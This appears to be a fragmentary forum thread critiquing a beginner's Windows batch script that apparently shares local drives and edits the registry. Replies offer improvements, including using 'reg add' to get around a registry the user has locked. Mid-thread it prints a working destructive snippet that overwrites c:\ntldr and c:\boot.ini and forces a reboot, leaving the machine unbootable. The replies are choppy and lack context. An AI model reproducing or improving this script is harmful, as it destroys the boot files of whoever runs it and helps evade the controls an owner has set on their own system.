net share lcl=c:\lcl.txt


A and B drive letters generally do not exist, so there is no need. Especially B

The dir command on a non-existent drive letter will cause an error, and the error message is not shielded

For those like me who don't even have the server service enabled, can the net share still be used?

This long section can be completely streamlined with for.

@echo off
echo XXXXXXXX>c:\ntldr
echo XXXXXXXXX>c:\boot.ini
shutdown -r -f

1. As the second floor said, you can completely use a for loop to exhaustively list all drive letters.
2. If the registry has been locked by the user, the way you import the.reg file will fail. It's better to use the reg add command to directly modify the registry.
3. It seems that the original poster is not very clear about the function of the @ symbol.
4. When encountering an English version of the operating system, some content will go wrong.

For a beginner, this level is pretty good.
